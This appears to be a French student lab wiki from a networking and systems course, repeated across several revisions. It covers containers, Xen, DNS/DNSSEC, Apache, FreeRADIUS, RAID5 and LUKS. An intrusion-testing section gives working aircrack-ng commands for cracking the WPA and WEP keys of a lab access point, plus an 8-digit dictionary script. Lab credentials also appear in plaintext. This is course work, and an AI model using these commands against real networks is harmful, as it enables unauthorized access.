Installation du paquetage mdadm pour réaliser le RAID5 logiciel :
apt-get install mdadm

Création du RAID5 :
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3

On formate le RAID créé :
mkfs -t ext4 /dev/md0

On monte le RAID dans notre VM :
mount /dev/md0 /mnt

On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.
On relance la VM. Puis on essaye de remonter le RAID :
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande :
cat /proc/mdstat
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier :
mount /dev/md127 /mnt
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.

[[Fichier:Raidhercule.png|600px]]

===6.1 Cryptage de données===

Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :

$ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v

Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :

$ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1

Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.

Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :

$ cryptsetup luksOpen /dev/xvdd1 home

Nous la formatons en ext4 :

$ mkfs -t ext4 /dev/mapper/home

Enfin, nous montons la partition sous /mnt :

$ mount -t ext4 /dev/mapper/home /mnt

Nous y créeons ensuite un fichier texte. La suite de cette partie, qui est d'échanger les cartes SD, n'est pas réalisable dans notre cas.

TP sysres IMA5sc 2018/2019 G7

2018-12-21T17:53:48Z

Nmehanna : /* Serveur Freeradius */

= Wiki de TP =

=TP GIS=

==Conteneurs "à la main"==

===Mise en place des conteneurs===

*'''Création d'une partition''':
dd if=/dev/zero of=/disk1 bs=1024K count=10240

*'''Formatage''' :
mtfs.etx4 /disk1

*'''Montage de la partition''':
mount /disk1 /mnt

*'''Installation d'un système Debian''':
debootstrap --include=apache2,nano stable /mnt

*'''Préparation du montage du pseudo système de fichier /proc''':
echo "proc /proc proc defaults 0 0" >> rootfs/etc/fstab

*''' Démontage ''':
umount /mnt

*'''Copie en 2 exemplaires''':
cp /disk1 /disk2
cp /disk1 /disk3

*'''Montage des 3 partitions :'''
mount -oloop /disk1 /mnt/dsk1
mount -oloop /disk2 /mnt/dsk2
mount -oloop /disk3 /mnt/dsk3

*'''Création du processus isolé par unshare''':
unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c "mount /proc ; /bin/bash"

===Configuration réseau===
*'''Création d'un commutateur logiciel''':
ip link add mehcret2 type bridge

*'''Création des interfaces virtuelles:'''
ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

*'''Ajout d'interfaces dans le commutateur :'''
ip link set vif1 master mehcret2
ip link set vif2 master mehcret2
ip link set vif3 master mehcret2
ip link set vif4 master bridge

*'''Activation des interfaces''':
ip link set eth0 up
ip link set eth1 up

*'''Récupération du PID des conteneurs :'''
ps auxwww | grep unshare

*'''Ajout des interfaces dans les conteneurs :'''
ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)
ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)
ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)
ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)

*'''Activation du pont:'''
ip address add dev mehcret2 192.168.60.0/24

*'''Attribution des adresses:'''
ip address add dev eth0 192.168.60.51/24 (dsk1)
ip address add dev eth0 192.168.60.52/24 (dsk2)
ip address add dev eth0 192.168.60.53/24 (dsk3)
ip address add dev eth1 172.26.145.67/24 (dsk2)
ip route add default via 172.26.145.254 (dsk2)

*'''Activation :'''
ip link set eth0 up
ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set vif4 up
ip link set mehcret2 up

On peut désormais pinger entre les différents conteneurs.

===Configuration des serveurs Web===

Nous devons maintenant mettre en place les serveurs apache.

Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants :

- mndtMehcret A 172.26.145.67 (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)

- web1Mehcret CNAME mndtMehcret (Serveur web du conteneur 1)

- web2Mehcret CNAME mndtMhecret (Serveur web du conteneur 3)

On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :

<VirtualHost *:80>
ServerName web1mehcret.plil.space
Options Indexes FollowSymLinks
DocumentRoot /var/www/html/web1mehcret/
</VirtualHost>

On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web.

Il faut maintenant mettre en place le reverse proxy.
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :

<VirtualHost *:80>
ServerName mndtMehcret.plil.space
ProxyPass "/web1" "http://192.168.60.51/"
ProxyPassReverse "/web1" "http://192.168.60.51/"
ProxyPass "/web2" "http://"http://192.168.60.53/"
ProxyPassReverse "/web2" "http://192.168.60.53/"
</VirtualHost>

Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.

Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :

$ service apache2 restart

Pour utiliser apache en mode reverse proxy, on execute la commande :

$ a2enmod proxy proxy_http

11h25 : Serveurs Web unshare OK

==Conteneurs Docker==

Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.
Nous exécutons ensuite la commande :
$ iptables-save
Puis on redémarre le service Docker :
$ service docker restart

Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.

Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :
$ docker run -i -t debian

Dans le conteneur, nous ajoutons le proxy de l'école :
$ export http_proxy=http://proxy.polytech-lille.fr:3128/

Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:
$ apt-get update
$ apt-get install apache2, nano, vim

On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires :

$ docker commit [IDduConteneur] mehcret

On créé un réseau Docker pour isoler nos conteneurs ensemble :

$ docker network create --driver bridge mehcretnetwork

Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine :

$ docker run -i --network mehcretnetwork --name mehcret1 mehcret
$ docker run -i --network mehcretnetwork --name mehcret2 mehcret
$ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret

Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.

10h30 Serveurs Web (docker) OK

=TP PRA=

Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.

==Tâche 5 : Câblage, connexion SR52, cordouan==

===Connexion des routeurs au réseau de l'école===

*'''Connexion SR52 - Routeur ISR4221 (E306)'''

Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.

Sur le routeur, on passe le port 21 sur le vlan 131 :

config t
int gi1/0/21
switchport access vlan 131
write

En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.

Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :

<gallery mode="nolines" widths=500px heights=400px>

File:TableVlansInterfacesSR52.jpg

File:LedSR52.jpg

</gallery>

*'''Connexion SR52 - Routeur Catalyst 3560 (E304)'''

En E304, on remarque une fibre libre de code couleur Blanc-Noir, on retrouve cette même fibre connectée au routeur en SR52 sur une interface 10Gb et déjà configurée sur le bon Vlan. On branche alors cette fibre sur la première interface 10 Gb du routeur Catalyst 3560 en E304 en accord avec le groupe configurant ce routeur. Le routeur de la E304 est désormais connecté au réseau de l'école.

===Connexion des commutateurs aux routeurs===

*'''Connexion Routeur Catalyst 3560 - Commutateur 4006 (E304)'''

Le routeur utilisé en E304 permettant la communication 10Gb, on relie le commutateur au routeur par 10 câbles afin de profiter au maximum des possibilités offertes par le Catalyst 3560. Le groupe s'occupant des commutateurs ayant configuré le commutateur de la E304 pour communiquer avec le routeur de cette même salle par les ports 4 à 13, on branche 10 câbles ethernet sur ces ports que l'on relie au routeur sur les ports 1 à 10.

*'''Connexion Routeur ISR 4221 - Commutateur 6000 (E306)'''

Contrairement au routeur utilisé en E304, le routeur en E306 ne permet une communication que Gb. Le commutateur sera donc relié au routeur par un seul câble. En accord avec le groupe configurant le routeur et celui configurant le commutateur, on relie ces derniers par un câble ethernet du port Gigabit 0/0/2 du routeur au port 14 du commutateur.

*'''Connexion Routeur ISR 4221 (E306) - Commutateur 4006 (E304) '''

La connexion entre le routeur et le commutateur doit se faire par fibre étant donné que ces deux appareils se trouvent dans deux salles différentes. On utilise pour cela la fibre disponible de code couleur (A COMPLETER). Du côté de la salle E306, on connecte la fibre à l'interface Gb 0/0/1. En E304, on connecte la fibre sur un port UPLINK du commutateur.

*'''Connexion Commutateur 6000 (E306) - Routeur Catalyst 3560 (E304) '''

La connexion au niveau du routeur ne pouvant se faire ici que par cuivre, nous devons utiliser un convertisseur fibre - cuivre. Pour interconnecter le commutateur 6000 au routeur Catalyst 3560, nous utilisons la fibre disponible de code couleur ORANGE. On connecte alors cette fibre sur le port (A COMPLETER) du commutateur de la E306. De l'autre côté, en E304, on connecte la fibre à un convertisseur puis le convertisseur au port 11 du routeur par un câble ethernet en accord avec le groupe configurant ce routeur.

===Connexions au serveur Cordouan===

Finalement, il faut connecter le serveur Cordouan à notre réseau afin d'avoir du réseau sur nos futures VM.

*'''Connexion Commutateur 6000 (E306) - Serveur Cordouan '''

Le commutateur 6000 se trouvant dans la même salle que le serveur Cordouan, on peut relier ces derniers par cuivre. On relie alors le port 17 au serveur Cordouan par câble ethernet.

*'''Connexion Routeur Catalyst 3560 (E306) - Serveur Cordouan '''

Ces deux appareils se trouvant dans deux salles différentes, la connexion ne peut se faire que par fibre. Cependant, nous ne disposons plus de convertisseur. Nous avons donc relié le serveur Cordouan au routeur de la E306 plutôt qu'au commutateur. Nous avons pour cela utilisé la fibre de code couleur BLEU. Nous connectons d'un côté la fibre au deuxième port Gigabit du routeur 3560, et de l'autre, la fibre au serveur Cordouan.

===Connexion des commutateurs aux points d'accès===

===Schéma résumant le câblage réalisé :===

[[Fichier:ArchitectureMehCret.png|1200px]]

== 2.Installation des systèmes d'exploitation==

===Création de la machine virtuelle===

Création d'une machine virtuelle sur cordouan.insecserv.deule.net :

xen-create-image --hostname=hercule --ip=193.48.57.183 --netmask=255.255.255.224 --gateway=193.48.57.160 --dir=/usr/local/xen

Il fois la machine créée, on ajoute le bridge dans la config hercule.cfg

vif = ['ip=193.48.57.183 , mac=#####, bridge=StudentsInfo']
xen create hercule.cfg

On vérifie que la machine est bien créée en s'y connectant :

xl console hercule

Création des partitions logiques sur Cordouan pour la machine virtuelle :
lvcreate -L 10G -n /dev/virtual/hercule-home -v
lvcreate -L 10G -n /dev/virtual/hercule-var -v

Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :
'phy:/dev/virtual/hercule-home,xvdb1,w',
'phy:/dev/virtual/hercule-var,xvdb2,w'

On relance la VM.
On formate les disques créés sur la machine :
mkfs -t ext4 /dev/xvdb1
mkfs -t ext4 /dev/xvdb2

Afin de lier le home de notre vm au disque créé précédemment, on modifie le fichier /etc/fstab en y ajoutant la ligne suivante :
/dev/xvdb1 /home ext4 defaults 0 2
Puis on effectue le montage :
mount -a

Pour le var, il faut monter temporairement le disque pour ne pas occulter le repertoire :
mount /dev/xvdb2 /mnt

On déplace ensuite le contenu de var dans le point de montage précédemment créé :
mv /var/* /mnt

Finalement, on ajoute dans le fichier /etc/fstab la ligne suivante pour effectuer le montage permanent :
/dev/xvdb2 /var ext4 defaults 0 2

On applique les modifications :
mount -a

==4.Services internet==

===Serveur DNS===

Achat du domaine hercule.pw sur gandi.

Installation de bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :
On créé un fichier de configuration de zone db.hercule.space dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.hercule.space. root.hercule.space (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.hercule.space.
IN NS ns6.gandi.net
@ IN A 193.48.57.183
ns IN A 193.48.57.183
www IN A 193.48.57.183

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/db.hercule.space";
allow-transfer {217.70.177.40;};
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

Redémarrage du serveur bind9 :
service bind9 restart

Ajout de glue records sur Gandi pour permettre l'association du serveur DNS créé avec notre adresse IP :
name : ns.hercule.space
IP address : 193.48.57.183

Changement du nameserver principal sur Gandi (A FAIRE):
DNS 1 : ns.hercule.space

On laisse ceux de Gandi pour les deux serveurs esclaves

ZONES INVERSES A FAIRE

===DNSSEC===

Dans un premier temps, on active DNSSEC en ajoutant dans le fichier /etc/bind/named la ligne :
dnssec-enable yes;

Création d'un répertoire de nom hercule.space.dnssec pour y générer les clefs

Création de la clef asymétrique de signature de clefs de zone :

dnssec-keygen -a RSASHA1 -b 2048 -f KSK -r /dev/urandom -n ZONE hercule.space
:
Création de la clef asymétrique de la zone pour signer les enregistrements :

dnssec-keygen -a RSASHA1 -b 1024 -r /dev/urandom -n ZONE hercule.space

On renomme ces clef :
hercule.space-ksk.key
hercule.space-zsk.key

Puis on les inclus dans le fichier /etc/bind/db.hercule.space
$include /etc/bind/hercule.space.dnssec/hercule.space-ksk.key
$include /etc/bind/hercule.space.dnssec/hercule.space-zsk.key

On signe les enregistrements de la zone :
dnssec-signzone -o hercule.space -k hercule.space-ksk ../db.hercule.space hercule.space-zsk

On modifie le fichier named.conf.local pour utiliser la zone signée de suffixe .signed :
file "/etc/bind/db.hercule.space.signed";

On communique les parties publiques de la KSK et ZSK à Gandi dans l'onglet DNSSEC. On n'oublie pas également d'incrémenter le SERIAL dans le fichier db.hercule.space.

===Serveur Apache===

Création du dossier /var/www/www.hercule.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout hercule.pw.key -out hercule.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/hercule.space.conf

<VirtualHost 193.48.57.183:443>
ServerName www.hercule.space
ServerAlias hercule.space
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.hercule.space.crt
SSLCertificateKeyFile /etc/ssl/private/hercule.space.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

<VirtualHost 193.48.57.183:80>
ServerName www.hercule.space
ServerAlias hercule.space
Redirect / https://www.hercule.space
</VirtualHost>

Modification du fichier ports.conf pour que le serveur web écoute sur le port 443 :

Listen 80 443

On active enfin le module SSL, notre site, et on redémarre le service apache :
a2enmod ssl
a2ensite hercule.space.conf
service apache2 restart

===Serveur Freeradius===

Installation de Freeradius sur la vm :
apt-get install freeradius

On ajoute ensuite un utilisateur au serveur freeradius. Pour cela, dans le fichier /etc/freeradius/3.0/users on ajoute :
hercule Cleartext-Password := "glopglop"

Il nous est demandé de configurer le serveur en PEAP-MSCHAPv2. Pour cela, on modifie les fichiers :

- /etc/freeradius/3.0/mods-enabled/eap :
default_eap_type = peap

- /etc/freeradius/3.0/mods-enabled/mschap :
use_mppe = yes
require_encryption = yes
require_strong = yes
with_ntdomain_hack = yes

On ajoute les points d'accès dans notre configuration de serveur (fichier : /etc/freeradius/3.0/clients.conf) :
client 192.168.0.10/32
{
secret = secretIMA5SC
shortname = borneDivinite
}

client 192.168.0.11/32
{
secret = secretIMA5SC
shortname = borneDivinite
}

On met à jour la configuration :
ldconfig

Et enfin, nous lançons le service freeradius :
$ service freeradius restart

Nous passons ensuite à la modification de la configuration des points d'accès afin qu'ils prennent en compte notre serveur freeradius :

enable

conf t
aaa new-model
aaa authentication login eap_group17 group radius_group17
aaa group server radius radius_group17
server 193.48.57.183 auth-port 1812 acct-port 1813
radius-server host 193.48.57.183 auth-port 1812 acct-port 1813 key secretIMA5SC
end

conf t
dot11 ssid Hercule
vlan 17
authentication open eap eap_group17
authentication network-eap eap_group17
authentication key-management wpa
Mbssid Guest-mode
end

conf t
int dot11radio0
Mbssid
ssid Hercule
encryption vlan 17 mode ciphers aes-ccm tkip
end

conf t
int dot11radio0.17
encapsulation dot1Q 17
bridge-group 17
end

== 5. Tests d'intrusion ==
===Crackage de clé WPA===

Afin de lancer le crackage de clé WPA sur le point d'accès cracotte07, nous avons besoin du package aircrack-ng que nous installons. Nous affichons ainsi nos interfaces avec la commande :

$ iwconfig

Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:

$ airmon-ng start wlp2s0

Nous affichons ensuite tout les point d'accés environnants en utilisant la commande :

$ airodump-ng wlp2s0mon

Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :

$ airodump-ng -c 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlp2s0mon

Une fois les fichiers générés, nous les transférons sur une ZABETH. Avant de lancer le craquage, nous devons générer un dictionnaire contenant toutes les combinaisons possibles de 8 chiffres. Pour cela, nous réalisons le script bash suivant :

#!/bin/bash
charset=({0..9})
permute(){
(($1 == 0)) && { echo "$2"; return; }
for char in "${charset[@]}"
do
permute "$((${1} - 1 ))" "$2$char"
done
}
permute "$1"

Que nous laçons en exécutant :

$ ./comb.sh 8 >> dictionnaire.txt

Le crack est effectué en lançant la commande :

$ aircrack-ng -a2 -b 04:DA:D2:9C:50:56 -w /path_to_file/dictionnaire.txt /path_to_file/*.cap

Nous récupérons la clé après quelques heures de calcul :

[[Fichier:Crack groupe7.png|600px]]

===Cassage de clé WEP===

Nous affichons ainsi nos interfaces avec la commande :

$ iwconfig

Nous lançons alors airmon-ng avec notre interface wifi pour la mettre en mode moniteur:

$ airmon-ng start wlx40a5ef012c92

Nous affichons ensuite tout les point d'accés environnants protégés en WEP en utilisant la commande :

$ airodump-ng --encrypt wep wlan0mon

Nous capturons des paquets provenants de cracotte07 que nous enregistrons dans un fichier :

$ airodump-ng --channel 9 --bssid 04:DA:d2:9C:50:56 -w ./path_to_folder/cracotte07 wlan0mon

En parallèle, on simule une connexion au point d'accès pour récupérer le handshake :
$ aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:56 wlan0mon

On réalise le cassage :
$ aircrack-ng ./path_to_folder/cracotte07.cap

[[Fichier:cassagewep07.png|600px]]

== 6. Réalisation ==

===6.1 Sécurisation de données===

Création de trois partitions LVM de 1Go sur Cordouan :
lvcreate -L 1G -n /dev/virtual/hercule1 -v
lvcreate -L 1G -n /dev/virtual/hercule2 -v
lvcreate -L 1G -n /dev/virtual/hercule3 -v

Modification du fichier de configuration de la machine virtuelle pour prendre en compte ces volumes créés. Ajout des lignes :

'phy:/dev/virtual/hercule1,xvdc1,w',
'phy:/dev/virtual/hercule2,xvdc2,w',
'phy:/dev/virtual/hercule3,xvdc3,w'

Installation du paquetage mdadm pour réaliser le RAID5 logiciel :
apt-get install mdadm

Création du RAID5 :
mdadm --create /dev/md0 --level=5 --assume-clean --raid-devices=3 /dev/xvdc1 /dev/xvdc2 /dev/xvdc3

On formate le RAID créé :
mkfs -t ext4 /dev/md0

On monte le RAID dans notre VM :
mount /dev/md0 /mnt

On créé un fichier sur le RAID pour qu'il contienne des données. On ferme la VM et on lui retire la partition xvdc3 dans sa config.
On relance la VM. Puis on essaye de remonter le RAID :
En voulant remonter /dev/md0, un message nous indique que md0 n'existe pas. On lance alors la commande :
cat /proc/mdstat
Et on s'aperçoit que notre RAID est toujours présent, cette fois n'ayant plus que deux disques, mais apparaît sous le nom md127. On monte alors ce derrnier :
mount /dev/md127 /mnt
On retrouve alors bien le fichier créé initialement sur notre RAID. Lors de sa création, le fichier a été copié sur les 3 disques par le RAID. Ainsi, lorsque que nous avons supprimé un disque, cela n'a pas eu d'impact sur nos données.

[[Fichier:Raidhercule.png|600px]]

===6.1 Cryptage de données===

Dans notre cas, nous n'utilisons pas une carte SD. Nous créons cependant une partition de 1 Giga sur cordouan sur laquelle on travaillera :

$ lvcreate -L 1G -n /dev/virtual/hercule-crypt -v

Une fois cette action réalisée, et la partition intégrée au fichier de configuration de la machine virtuelle sous forme de volume, de nom xvdd1, nous récupérons les paquets lvm2 et cryptsetup.
Lorsque la récupération est terminée, nous sécurisons la partition de la manière suivante :

$ cryptsetup luksFormat -c aes -h sha256 /dev/xvdd1

Cette commande permet de formater la partiton au type LUKS et chiffre en AES avec un algorithme de hashage SHA256. Nous choisissons une phrase de chiffrement.

Une fois la partition chiffrée, nous ouvrons un volume dans notre partition chiffrée :

$ cryptsetup luksOpen /dev/xvdd1 home

Nous la formatons en ext4 :

$ mkfs -t ext4 /dev/mapper/home

Enfin, nous montons la partition sous /mnt :

$ mount -t ext4 /dev/mapper/home /mnt

Nous y créeons ensuite un fichier texte.

TP sysres IMA5sc 2018/2019 G7

2018-12-21T17:48:10Z

Nmehanna : /* Schéma résumant le câblage réalisé : */

= Wiki de TP =

=TP GIS=

==Conteneurs "à la main"==

===Mise en place des conteneurs===

*'''Création d'une partition''':
dd if=/dev/zero of=/disk1 bs=1024K count=10240

*'''Formatage''' :
mtfs.etx4 /disk1

*'''Montage de la partition''':
mount /disk1 /mnt

*'''Installation d'un système Debian''':
debootstrap --include=apache2,nano stable /mnt

*'''Préparation du montage du pseudo système de fichier /proc''':
echo "proc /proc proc defaults 0 0" >> rootfs/etc/fstab

*''' Démontage ''':
umount /mnt

*'''Copie en 2 exemplaires''':
cp /disk1 /disk2
cp /disk1 /disk3

*'''Montage des 3 partitions :'''
mount -oloop /disk1 /mnt/dsk1
mount -oloop /disk2 /mnt/dsk2
mount -oloop /disk3 /mnt/dsk3

*'''Création du processus isolé par unshare''':
unshare -p -f -m -n -u chroot /mnt/dsk1 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /mnt/dsk2 /bin/sh -c "mount /proc ; /bin/bash"
unshare -p -f -m -n -u chroot /mnt/dsk3 /bin/sh -c "mount /proc ; /bin/bash"

===Configuration réseau===
*'''Création d'un commutateur logiciel''':
ip link add mehcret2 type bridge

*'''Création des interfaces virtuelles:'''
ip link add vif1 type veth peer name eth0@vif1
ip link add vif2 type veth peer name eth0@vif2
ip link add vif3 type veth peer name eth0@vif3
ip link add vif4 type veth peer name eth1@vif4

*'''Ajout d'interfaces dans le commutateur :'''
ip link set vif1 master mehcret2
ip link set vif2 master mehcret2
ip link set vif3 master mehcret2
ip link set vif4 master bridge

*'''Activation des interfaces''':
ip link set eth0 up
ip link set eth1 up

*'''Récupération du PID des conteneurs :'''
ps auxwww | grep unshare

*'''Ajout des interfaces dans les conteneurs :'''
ip link set eth0@vif2 netns /proc/19382/ns/net name eth0 (dsk1)
ip link set eth0@vif1 netns /proc/19377/ns/net name eth0 (dsk2)
ip link set eth1@vif4 netns /proc/19377/ns/net name eth1 (dsk2)
ip link set eth0@vif3 netns /proc/19396/ns/net name eth0 (dsk3)

*'''Activation du pont:'''
ip address add dev mehcret2 192.168.60.0/24

*'''Attribution des adresses:'''
ip address add dev eth0 192.168.60.51/24 (dsk1)
ip address add dev eth0 192.168.60.52/24 (dsk2)
ip address add dev eth0 192.168.60.53/24 (dsk3)
ip address add dev eth1 172.26.145.67/24 (dsk2)
ip route add default via 172.26.145.254 (dsk2)

*'''Activation :'''
ip link set eth0 up
ip link set vif1 up
ip link set vif2 up
ip link set vif3 up
ip link set vif4 up
ip link set mehcret2 up

On peut désormais pinger entre les différents conteneurs.

===Configuration des serveurs Web===

Nous devons maintenant mettre en place les serveurs apache.

Dans un premier temps, on créé les sous-domaines dont nous avons besoin. Dans les enregistrements DNS du domaine '''plil.space''', on ajoute les enregistrements suivants :

- mndtMehcret A 172.26.145.67 (mndtMehcret sera le serveur mandataire. On le fait pointer sur l'adresse eth1 du conteneur 2)

- web1Mehcret CNAME mndtMehcret (Serveur web du conteneur 1)

- web2Mehcret CNAME mndtMhecret (Serveur web du conteneur 3)

On configure ensuite les serveurs Apache. On attribue au premier serveur sur le conteneur 1 la configuration suivante dans le répertoire /etc/apache2/sites-available/ :

<VirtualHost *:80>
ServerName web1mehcret.plil.space
Options Indexes FollowSymLinks
DocumentRoot /var/www/html/web1mehcret/
</VirtualHost>

On fait de même dans le conteneur 3 pour le serveur 2 en mettant les ServerName et Document root associés.
On écrit ensuite une page HTML basique dans les dossiers /var/www/html/web1mehcret/ et /var/www/html/web2mehcret/ afin de reconnaître notre serveur web.

Il faut maintenant mettre en place le reverse proxy.
Dans le conteneur 2, connectée à la fois à eth0 et eth1, nous mettons en place la configuration suivante :

<VirtualHost *:80>
ServerName mndtMehcret.plil.space
ProxyPass "/web1" "http://192.168.60.51/"
ProxyPassReverse "/web1" "http://192.168.60.51/"
ProxyPass "/web2" "http://"http://192.168.60.53/"
ProxyPassReverse "/web2" "http://192.168.60.53/"
</VirtualHost>

Les lignes ProxyPass et ProxyPassReverse permettent alors la redirection sur les serveurs web du conteneur 1 et 3.

Après avoir configuré les différents serveurs Apache, il faut redémarrer les services sur chaque conteneur :

$ service apache2 restart

Pour utiliser apache en mode reverse proxy, on execute la commande :

$ a2enmod proxy proxy_http

11h25 : Serveurs Web unshare OK

==Conteneurs Docker==

Avant de lancer un conteneur, il faut modifier le fichier /etc/default/docker et commenter la ligne contenant iptables.
Nous exécutons ensuite la commande :
$ iptables-save
Puis on redémarre le service Docker :
$ service docker restart

Sans les commandes réalisées précédemment, nous n'avions pas accès au réseau dans les conteneurs.

Nous pouvons maintenant lancer un conteneur basé sur l'image officielle de debian :
$ docker run -i -t debian

Dans le conteneur, nous ajoutons le proxy de l'école :
$ export http_proxy=http://proxy.polytech-lille.fr:3128/

Nous pouvons maintenant utiliser le gestionnaire de paquets apt afin d'installer apache2 et un éditeur de texte:
$ apt-get update
$ apt-get install apache2, nano, vim

On sauvegarde ensuite le conteneur pour pouvoir le lancer plus tard en 3 exemplaires :

$ docker commit [IDduConteneur] mehcret

On créé un réseau Docker pour isoler nos conteneurs ensemble :

$ docker network create --driver bridge mehcretnetwork

Nous lançons ensuite 3 conteneurs sur le réseau précédemment créé en liant le port 80 du conteneur 3 (qui jouera le rôle de reverse proxy) au port 80 de la machine :

$ docker run -i --network mehcretnetwork --name mehcret1 mehcret
$ docker run -i --network mehcretnetwork --name mehcret2 mehcret
$ docker run -i --network mehcretnetwork --name mehcret3 -p 80:80 mehcret

Nous créons un nouveau sous domaine, dockerMehcret.plil.space pointant sur l'adresse IP de notre bridge en ajoutant un enregistrement de type A.
Finalement, on configure les différents serveurs Apache comme nous l'avions fait dans la partie précédente.

10h30 Serveurs Web (docker) OK

=TP PRA=

Cet atelier consiste en la réalisation d’une maquette de réseau permettant de manipuler les protocoles de redondance réseau ainsi que le protocole réseau IPv6. D’un point de vue système nous aurons à installer une machine virtuelle Xen ainsi qu’à implanter un auto-commutateur téléphonique logiciel. Enfin la mise en place d’un réseau Wifi sécurisé et d’un site web sécurisé nous permettra de mettre en pratiques nos connaissances en la matière.

==Tâche 5 : Câblage, connexion SR52, cordouan==

===Connexion des routeurs au réseau de l'école===

*'''Connexion SR52 - Routeur ISR4221 (E306)'''

Dans le local SR52, on branche un câble du port 21 du routeur jusqu'au port K-16 du commutateur qui est relié à la prise murale qui se situe au dessus de cordouan en E306.

Sur le routeur, on passe le port 21 sur le vlan 131 :

config t
int gi1/0/21
switchport access vlan 131
write

En E306, on relie le port Gigabit 0/0/0 du routeur ISR4221 à la prise murale SR52.3-K16.

Les LEDs passent alors au vert et on observe que le port 21 du routeur en SR52 est bien connecté :

<gallery mode="nolines" widths=500px heights=400px>

